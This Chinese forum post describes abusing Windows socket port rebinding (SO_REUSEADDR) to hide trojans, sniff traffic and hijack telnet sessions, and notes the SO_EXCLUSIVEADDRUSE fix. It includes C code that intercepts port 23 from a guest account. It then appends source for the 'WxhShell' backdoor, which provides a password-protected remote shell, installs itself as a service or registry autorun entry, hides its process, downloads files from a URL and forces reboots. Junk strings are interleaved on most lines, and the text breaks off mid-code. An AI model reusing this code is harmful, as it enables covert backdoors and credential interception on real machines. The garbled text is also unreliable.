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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ( vca&wI!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); % ClHCoyA  
|>#{[wko  
  saddr.sin_family = AF_INET; :AE&Ny4  
*FMMjz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QDhOhGK  
,]d,-)KX8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D ^x-^6^  
H XmS|PX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C<P%CG&;  
iB498t  
  这意味着什么?意味着可以进行如下的攻击: 43@{JK9G  
zR{W?_cV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1A\OC  
rsy'q(N[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~FN9 [aJF+  
Zd')57{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 apu4DAy&8  
hX=A)73(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yp({>{u7  
LL3#5AA"k|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "\3B^ e,  
5.MGaU^Z$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E6pMT^{K  
i*@< y/&'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )3>hhuaa  
[m|YWT=  
  #include :R~MO&  
  #include Bq$rf < W  
  #include mD^ jd+  
  #include    w.?:SD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WjlZ6g2i  
  int main() xo7Kn+ Kl  
  { `|ASx8_!  
  WORD wVersionRequested; 1*@'-mj  
  DWORD ret; "CI=`=  
  WSADATA wsaData; !0vG|C ;'  
  BOOL val; uA#P'?  
  SOCKADDR_IN saddr; z{o' G3  
  SOCKADDR_IN scaddr; lc~%=  
  int err; d2H|LMhJ  
  SOCKET s; T Kg aV;92  
  SOCKET sc; rV T{90,  
  int caddsize; i}B2R$Z3  
  HANDLE mt; -@0GcUE:r  
  DWORD tid;   x3o ]U)^  
  wVersionRequested = MAKEWORD( 2, 2 ); U G~ba  
  err = WSAStartup( wVersionRequested, &wsaData ); }<9cL'  
  if ( err != 0 ) { W7 #9jo  
  printf("error!WSAStartup failed!\n"); '*"vkgN  
  return -1; !& z(:d  
  } V7Ek-2M  
  saddr.sin_family = AF_INET; 5'X ]k@m_  
   yFtd=AI'E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lXjXqk\  
2AO~HxF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #0y)U;dA+w  
  saddr.sin_port = htons(23); >8qQK r\"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4}eepJOn  
  { 8[E!E)4M  
  printf("error!socket failed!\n"); {l/-LZ.  
  return -1; JNJ=e,O,  
  } }wHW7SJ  
  val = TRUE; Na?!;1]_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v33dxZ'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xT+zU}z  
  { hNH'XQxO  
  printf("error!setsockopt failed!\n"); V;:jZpG  
  return -1; Dk(1}%0U/  
  } er!DYv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ck.w 5|$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5sx1Zq7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !AKg m'Nw  
?6fnpGX@a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \\u<S=G  
  { {O7X`'[  
  ret=GetLastError(); w (/aiV  
  printf("error!bind failed!\n"); /p+>NZ"b  
  return -1; {:]9Q Tq  
  } d+Ek%_  
  listen(s,2); dVi!Q@y+  
  while(1) F pa_qjL;  
  { w6{TE(]zp  
  caddsize = sizeof(scaddr); 5`gQ~   
  //接受连接请求 YYu6W@m]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); < F`>,Pm  
  if(sc!=INVALID_SOCKET) EioB%f3  
  { TTt#a6eJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d [V;&U  
  if(mt==NULL) fi$-;Gz  
  { F=a<~EpZ  
  printf("Thread Creat Failed!\n"); pnbIiyV  
  break; Ire\i7MF:  
  } f'VX Y-  
  } I.94v #r  
  CloseHandle(mt); Y<Fz)dQo  
  } BC&9fr  
  closesocket(s); aM:nOt" S1  
  WSACleanup(); w6W}"Uw  
  return 0; <\pfIJr$  
  }   .b6VQCS~9  
  DWORD WINAPI ClientThread(LPVOID lpParam) }`,t$NV`  
  { UmclTGn  
  SOCKET ss = (SOCKET)lpParam; k+8q{5>A<  
  SOCKET sc; kMt 8/E`  
  unsigned char buf[4096]; }` != m  
  SOCKADDR_IN saddr; U2wbvXr5-  
  long num; :"I E  
  DWORD val; .P MZX%*v  
  DWORD ret; ktdW`R\+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }XSfst5-H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YGPy@-,E  
  saddr.sin_family = AF_INET; 82QGS$0V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .On|uC)!  
  saddr.sin_port = htons(23); MvWaB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Gjk;|Sx<I  
  { v>-VlQ  
  printf("error!socket failed!\n"); P}TI q#  
  return -1; :E@3Vl#U  
  } 3T}izG]  
  val = 100; ZO)S`W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Tp_L%F  
  { j.L-{6_s>~  
  ret = GetLastError(); g47-db"5  
  return -1; v(-{=*':  
  } (Xq)py9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z<SLc,]^  
  { sPMa]F(  
  ret = GetLastError(); cnFI &,FM  
  return -1; Qkd<sxL  
  } mqAWL:VvQ7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !>e5z|1   
  { v%s`~~u%^  
  printf("error!socket connect failed!\n"); OVko+X`  
  closesocket(sc); wm$}Pch  
  closesocket(ss); R&Jm +3N  
  return -1; /~Z?27F6@  
  } $;/}?QY(  
  while(1) HaYE9/xS  
  { p Wt) A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K!'AkTW+-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LX@/RAd vz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )d$glI+  
  num = recv(ss,buf,4096,0); L\&<sy"H  
  if(num>0) 3'c0#h@VD  
  send(sc,buf,num,0); ae*Mf7  
  else if(num==0) ;z IP,PMM  
  break; 'C:>UlzLy  
  num = recv(sc,buf,4096,0); eXK o.JL  
  if(num>0) =ZDAeVz3w  
  send(ss,buf,num,0); kIGbG;"_  
  else if(num==0) `xywho%/Y  
  break; t@R ?Rgu3  
  } /qx0TDB  
  closesocket(ss); dd\n8f  
  closesocket(sc); 9$Xu,y  
  return 0 ; %_(H{y_!  
  } g"?Y+j  
0MkSf*  
Q"t<3-"  
========================================================== e?Ho a$k  
A%^w^f  
下边附上一个代码,,WXhSHELL #SX8=f`K5  
^B@Wp  
========================================================== aS pWsT  
K)-m*#H&uw  
#include "stdafx.h" raCi 8  
d ,Y#H0`  
#include <stdio.h> <6fv1d+v  
#include <string.h> >9f%@uSM$3  
#include <windows.h> 5e}A@GyC  
#include <winsock2.h> Wa1, p  
#include <winsvc.h> 3T e^  
#include <urlmon.h> u_ '!_T L  
~>:Z6Le@   
#pragma comment (lib, "Ws2_32.lib") Cz W:L&t  
#pragma comment (lib, "urlmon.lib") `d[1`P1i[  
jU3Z*Z)zN  
#define MAX_USER   100 // 最大客户端连接数 2l F>1vH  
#define BUF_SOCK   200 // sock buffer 9&2Vm;F_  
#define KEY_BUFF   255 // 输入 buffer 4<?8M vF  
X5khCL Hi  
#define REBOOT     0   // 重启 qt3PXqR7 :  
#define SHUTDOWN   1   // 关机 %rF?dvb;?  
6}(J6T46M[  
#define DEF_PORT   5000 // 监听端口 v 0kqu  
K^3co  
#define REG_LEN     16   // 注册表键长度 sU!6hk  
#define SVC_LEN     80   // NT服务名长度 d~?X/sJ t  
=1u@7Bh  
// 从dll定义API `zR+tbm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JGFt0He]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +R\vgE68  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A#W?2k9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ G e=kFB  
xy<`#  
// wxhshell配置信息 UDc$"a}ds{  
struct WSCFG { U^.4Hy&D  
  int ws_port;         // 监听端口 qA:#iJ8w  
  char ws_passstr[REG_LEN]; // 口令 X<MO7I  
  int ws_autoins;       // 安装标记, 1=yes 0=no g!`3{ /4  
  char ws_regname[REG_LEN]; // 注册表键名 ~+H" -+  
  char ws_svcname[REG_LEN]; // 服务名 * FeQ*`r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t'~/$=9}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^@"H1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +@Ad1fJi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \NG C$p n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9~0^PzTA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DS2)@  
`' 153M]  
}; D&ve15wL  
-L3|&O_  
// default Wxhshell configuration ;@nFVy>U  
struct WSCFG wscfg={DEF_PORT, Y2R\]FrT  
    "xuhuanlingzhe", &(a(W22O  
    1, S\wW)Pv8  
    "Wxhshell", m))<!3  
    "Wxhshell", Q*YYTmZ  
            "WxhShell Service", \@~UDP]7  
    "Wrsky Windows CmdShell Service", >|o_wO  
    "Please Input Your Password: ", / EMJSr  
  1, 7$k8%lI;>  
  "http://www.wrsky.com/wxhshell.exe", :+%Zh@u\  
  "Wxhshell.exe" s-W[ .r|  
    }; e.o;eD}"  
,&YTj>  
// 消息定义模块 q+a.G2S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ; U`X 6d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z?^"\u-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .9|u QEL  
char *msg_ws_ext="\n\rExit."; %g cc y|  
char *msg_ws_end="\n\rQuit."; 'ZQWYr9R  
char *msg_ws_boot="\n\rReboot..."; Q0{z).&\(e  
char *msg_ws_poff="\n\rShutdown..."; _ jAo:K_Z  
char *msg_ws_down="\n\rSave to "; gcJF`H/iNK  
&kQ!KA28  
char *msg_ws_err="\n\rErr!"; \;]kYO}  
char *msg_ws_ok="\n\rOK!"; N8!TZ~1$  
A%vsno!  
char ExeFile[MAX_PATH]; z{BA4sn  
int nUser = 0; fA^7^0![  
HANDLE handles[MAX_USER]; i_F$&?)  
int OsIsNt; n+D#k 8{  
QMk+RM8U  
SERVICE_STATUS       serviceStatus; VG*'"y *%w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^ft]b2i  
!Zbesp KZ  
// 函数声明 y~F<9;$=  
int Install(void); !U BVPR*  
int Uninstall(void); d<@Mdo<;?g  
int DownloadFile(char *sURL, SOCKET wsh); idJh^YD  
int Boot(int flag); g-yi xU  
void HideProc(void); F* #h9 Y  
int GetOsVer(void); \~X&o% y  
int Wxhshell(SOCKET wsl); 9b6!CNe!  
void TalkWithClient(void *cs); y67uH4&Vm  
int CmdShell(SOCKET sock); ggou*;'  
int StartFromService(void); !%mi&ak(Rn  
int StartWxhshell(LPSTR lpCmdLine); W>L@j(  
Q-zdJt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l_v*7d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yb=6C3l@  
wk 02[  
// 数据结构和表定义 E '%lxr  
SERVICE_TABLE_ENTRY DispatchTable[] = * Zd_ HJi  
{ _2jw,WKr  
{wscfg.ws_svcname, NTServiceMain}, z};ZxN  
{NULL, NULL} kb|eQtH  
}; bZ# X 9fT  
'Kis hXOn]  
// 自我安装 IM ad$AKc  
int Install(void) JJl7JwSTW  
{ 2q %K)h  
  char svExeFile[MAX_PATH]; *=vlqpG  
  HKEY key; 3$"/>g/  
  strcpy(svExeFile,ExeFile); \8"QvC]  
;aK.%-s-Z  
// 如果是win9x系统,修改注册表设为自启动 W@B7yP7Rz  
if(!OsIsNt) { \>)f5 gV@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KtMbze  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6.Bh3p  
  RegCloseKey(key); @8"18HEp#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a{`"68  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s#lto0b"8  
  RegCloseKey(key); F14(;'Az  
  return 0; m1e b8yX  
    } 9bn2UiJ k  
  } ;,0lUcV  
} \n@V-b  
else { !"! i i$@  
ZPF7m{S  
// 如果是NT以上系统,安装为系统服务 \|Qb[{<:,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p^8 JLC  
if (schSCManager!=0) ] C,1%(  
{ 6wpU6NU  
  SC_HANDLE schService = CreateService b}%g}L D  
  ( 0 [i+  
  schSCManager,  5T/J%  
  wscfg.ws_svcname, >Zdi5') 5  
  wscfg.ws_svcdisp, UE)fUTS  
  SERVICE_ALL_ACCESS, 99KVtgPm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [EGx  
  SERVICE_AUTO_START, l<2oklo5  
  SERVICE_ERROR_NORMAL, aFG3tuaKrQ  
  svExeFile, $WNG07]tU  
  NULL, m;h<"]<  
  NULL, 6{7 3p@  
  NULL, ycjJbL(.  
  NULL, L*O>IQh2  
  NULL XTj73 MWY  
  ); !~d'{sy6  
  if (schService!=0) Yzd2G,kZ=  
  { Y*\6o7  
  CloseServiceHandle(schService); a*Jn#Mx<M  
  CloseServiceHandle(schSCManager); Uk02IOXQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?48AY6  
  strcat(svExeFile,wscfg.ws_svcname); ! IgoL&=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K_##-6>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H56 ^n<tg  
  RegCloseKey(key); %uEtQh[  
  return 0; va>"#;37  
    } qsvpW%?aE  
  } OT+Ee  
  CloseServiceHandle(schSCManager); i7f%^7!  
} fqX~xp  
} *')Q {8`  
o4'Wr  
return 1; (+x]##Q  
} bqjr0A7{  
,|iy1yg(  
// 自我卸载 jnDQ{D  
int Uninstall(void) 3q CHh  
{ wDZ  
  HKEY key; ^vn\4  
fD(7F N8  
if(!OsIsNt) { .ujj:>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'g]=.K+@}  
  RegDeleteValue(key,wscfg.ws_regname); Q,n4i@E  
  RegCloseKey(key); :K;T Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zS?n>ElI  
  RegDeleteValue(key,wscfg.ws_regname); #~1wv^  
  RegCloseKey(key); $vqU|]J`  
  return 0; TC@bL<1  
  } 0T1ko,C!,e  
} *) } :l  
} bHJoEYY^  
else { m8u=u4z("  
I)rGOda{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3XGB+$]C  
if (schSCManager!=0) blmmm(|~|  
{ 9H[/Tj-;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )"F5lOA6  
  if (schService!=0) K{N%kk%F  
  { pEkOSG  
  if(DeleteService(schService)!=0) { -HN%B?}. x  
  CloseServiceHandle(schService); '5V^}/  
  CloseServiceHandle(schSCManager); w`0)x5 TGR  
  return 0; ]DU61Z"v?b  
  } S{ey@ X(  
  CloseServiceHandle(schService); :Dt\:`(r'  
  } RZe#|k+ 8  
  CloseServiceHandle(schSCManager); HrDTn&/  
} . Jb?]n  
} 2pjW,I!`  
33,;i E  
return 1; h*G#<M  
} Gj5>Y!9  
;n` $+g:>  
// 从指定url下载文件 pY, O_ t$  
int DownloadFile(char *sURL, SOCKET wsh) ?-d Ain1w  
{ Q QT G9s  
  HRESULT hr; fPOEVmj<  
char seps[]= "/"; ||`qIElAW,  
char *token;  A<2I!  
char *file; R|$[U  
char myURL[MAX_PATH]; xHm/^C&px  
char myFILE[MAX_PATH]; 0FTRm2(  
(GnVwJ<v9V  
strcpy(myURL,sURL); l`G(O$ct  
  token=strtok(myURL,seps); =p5?+3" @  
  while(token!=NULL) [4ee <J  
  { *$JB`=Q  
    file=token; D7M0NEY  
  token=strtok(NULL,seps); ^t`f1rGR  
  } yV8-  
D>ojW|@}  
GetCurrentDirectory(MAX_PATH,myFILE); D9,e3.?p  
strcat(myFILE, "\\"); 7F=2t_2O  
strcat(myFILE, file); P&,hiGTDi  
  send(wsh,myFILE,strlen(myFILE),0); #jhQBb4?,  
send(wsh,"...",3,0); <8g=BWA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !8we8)7  
  if(hr==S_OK) L#`7FaM?  
return 0; kpl~/i`4  
else xnT3^ #-h  
return 1; "$]ls9-%n  
-J{Dxz  
} {3.*7gnY\L  
|OOXh[y  
// 系统电源模块 Td5bDO  
int Boot(int flag) ^@M [t<  
{ O<4Q$|=&?  
  HANDLE hToken; 2wGF-V  
  TOKEN_PRIVILEGES tkp; p "/(>8  
tF<^9stM  
  if(OsIsNt) { #"hJpyW 4V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7[4_+Q:}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^GE^Q\&D&  
    tkp.PrivilegeCount = 1; =d}gv6v2S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S^|$23}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,Y$F7&  
if(flag==REBOOT) { } /[_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z~BD(FDI  
  return 0; k& WS$R?u  
} GSC{F#:z  
else { ?]s%(R,B5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NY.}uZ  
  return 0; u82h6s<'W  
} IO^:FnJJv  
  } ~g*Y, Y  
  else { @bc[ eas  
if(flag==REBOOT) { >_&~!Y.Z=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xOwNCh  
  return 0; tCuN?_ UG  
} 3w t:5 Im  
else { umZlIH[7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P4hZB_.=  
  return 0; fL(':W&n-  
} Jq=00fcT+  
} K5 5} Wi  
D LNa6  
return 1; o lYPlH F  
} ;RNM   
caGML|DeI  
// win9x进程隐藏模块 c:3@[nF~  
void HideProc(void) 1P(%9  
{ $7msL#E7  
XC*uz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?H y%ULk  
  if ( hKernel != NULL ) '.]e._T  
  { , D exJ1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M4zX*&w.T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 44'=;/  
    FreeLibrary(hKernel); n33JTqX  
  } xN e_qO  
fndK/~?]H  
return; >{j,+$%kp  
} =$^Wkau  
_7rqXkp%  
// 获取操作系统版本 &=v/VRan[  
int GetOsVer(void) <^CYxy  
{ I++W0wa.n  
  OSVERSIONINFO winfo; %T`4!:vy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q :TZ=bs^  
  GetVersionEx(&winfo); fn1 ?Qp|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H;b8I  
  return 1; tn"Y9 k|  
  else ATKYjhc _  
  return 0; ^zvA?'s  
} JN{<oxI  
:hC {5!|  
// 客户端句柄模块 v9Z lNA7m!  
int Wxhshell(SOCKET wsl) 1 ;_{US5FR  
{ `V]egdO  
  SOCKET wsh; u&1j>`~qJ  
  struct sockaddr_in client; =nJOaXR0  
  DWORD myID; g2+l@$W  
XD;15a  
  while(nUser<MAX_USER) 80{#bb  
{ DCEvr"(  
  int nSize=sizeof(client); <bEN8b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EO4" Z@ji  
  if(wsh==INVALID_SOCKET) return 1; o>xxmyW|  
?D RFsA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F3k C"H  
if(handles[nUser]==0) S% JNxT7'  
  closesocket(wsh); &,W_#l{  
else D}zOuB,S  
  nUser++; gGtep*k  
  } YH /S2D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Z#_X@NFc  
D__lqboz  
  return 0; K!IF?iell  
} OSSd;ueur$  
q`/amI0  
// 关闭 socket 1VhoJGH;C  
void CloseIt(SOCKET wsh) IUh5r(d 68  
{ 5en [)3E  
closesocket(wsh); L eG7x7n  
nUser--; r[.zLXgK  
ExitThread(0); N oX_?  
} o7_MMeQ4  
B(4:_ j\2  
// 客户端请求句柄 F|]o9&/<]  
void TalkWithClient(void *cs) ATYQ6E[{MV  
{ AIvL#12  
j33P~H~  
  SOCKET wsh=(SOCKET)cs; *=-__|t  
  char pwd[SVC_LEN]; WmT}t  
  char cmd[KEY_BUFF]; $$2S*qY  
char chr[1];  At`1)  
int i,j; % j[O&[s}  
hRuo,FS#:  
  while (nUser < MAX_USER) { !.;xt L   
xG*lV|<7>  
if(wscfg.ws_passstr) { ~pd1 )  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bR>o!(M'Z\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *_4n2<W$  
  //ZeroMemory(pwd,KEY_BUFF); `nd#< w>  
      i=0; 3b g4#c  
  while(i<SVC_LEN) { ^DW#  
/(hP7_]`2  
  // 设置超时 b qg]DO$*  
  fd_set FdRead; /%J&/2Wz  
  struct timeval TimeOut; < "L){$  
  FD_ZERO(&FdRead); ?)Czl4J  
  FD_SET(wsh,&FdRead); &xGfkCP.]  
  TimeOut.tv_sec=8; RE`J"&  
  TimeOut.tv_usec=0; 9A/Kn]s(jj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8!o{W=m^4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +E q~X=x  
^*cMry  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3<zTkI  
  pwd=chr[0]; ? z)y%`}  
  if(chr[0]==0xd || chr[0]==0xa) { e' /  
  pwd=0; Z30z<d,j  
  break; b2/N H1A  
  } :f?,]|]+-  
  i++; SQ~N X)  
    } a`EGx{q(  
:|n>H+Y  
  // 如果是非法用户,关闭 socket X%4uShM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  `5k6s,  
} o@<6TlZM  
c:h.J4mv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ac5o K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O?j98H Sya  
CfkNy[}=  
while(1) { eB<V%,%N#  
!OuTXa,I H  
  ZeroMemory(cmd,KEY_BUFF); s% L" c  
RAg|V:/M  
      // 自动支持客户端 telnet标准   VQNYQqu`[  
  j=0; !\&7oAs=I  
  while(j<KEY_BUFF) { YmO"EWb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ctc`^#q  
  cmd[j]=chr[0]; E1l\~%A  
  if(chr[0]==0xa || chr[0]==0xd) { ? !oVf>  
  cmd[j]=0; /+<%,c$n  
  break; 8}"f|6Wm  
  } fncwe ';?  
  j++; FfD ,cDs  
    } qSpa4W[  
aiR|.opIb  
  // 下载文件 (:fE _H2z  
  if(strstr(cmd,"http://")) { -_{C+Y_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l $p_])x  
  if(DownloadFile(cmd,wsh)) (Qx-KRH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VeN&rjc  
  else 7/D9n9F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); siss_1J  
  } I7q?V1f u4  
  else { k[r./xEv+t  
!dbA (  
    switch(cmd[0]) { ^EuyvftZ  
  os(Jr!p_=  
  // 帮助 EMW4<na[  
  case '?': { 9p[W :)P4d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7uv/@(J"$  
    break; 8JtI&aH-L  
  } w371.84  
  // 安装 9s\i(/RxW  
  case 'i': { NqQ(X'W7  
    if(Install()) Hz3 S^o7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $@u^Jt, ?  
    else -;@5Ua1uf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "#\bQf}  
    break; A=qW]Im  
    } 3'sWlhf;  
  // 卸载 Ghq'k:K,  
  case 'r': { 2=Y_Qrhi  
    if(Uninstall()) 1(:=j Ofk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rd"]@ ~v1  
    else F;MT4*4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <_sT]?N #  
    break; Zm; +Ku>  
    } <SC|A|  
  // 显示 wxhshell 所在路径 ~kj(s>xP  
  case 'p': { #o r7T^  
    char svExeFile[MAX_PATH]; f<> YYeY  
    strcpy(svExeFile,"\n\r"); Xg!|F[i  
      strcat(svExeFile,ExeFile); , R.+-X  
        send(wsh,svExeFile,strlen(svExeFile),0); ,a]~hNR*X  
    break; r;%zG Fp  
    } /[0 /8f6  
  // 重启 u'~b<@wHB  
  case 'b': { >uPde5"ZF-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J%Z)#  
    if(Boot(REBOOT)) y`B!6p 5j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VI|DM x   
    else { $p6Xa;j$9  
    closesocket(wsh); 2p3u6\y  
    ExitThread(0); >h!.Gj  
    } 8v)~J}[Bz  
    break; !{]v='   
    } oVEr{K)  
  // 关机 ,5<`+w#a  
  case 'd': { 2GD mZl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L$u&~"z-  
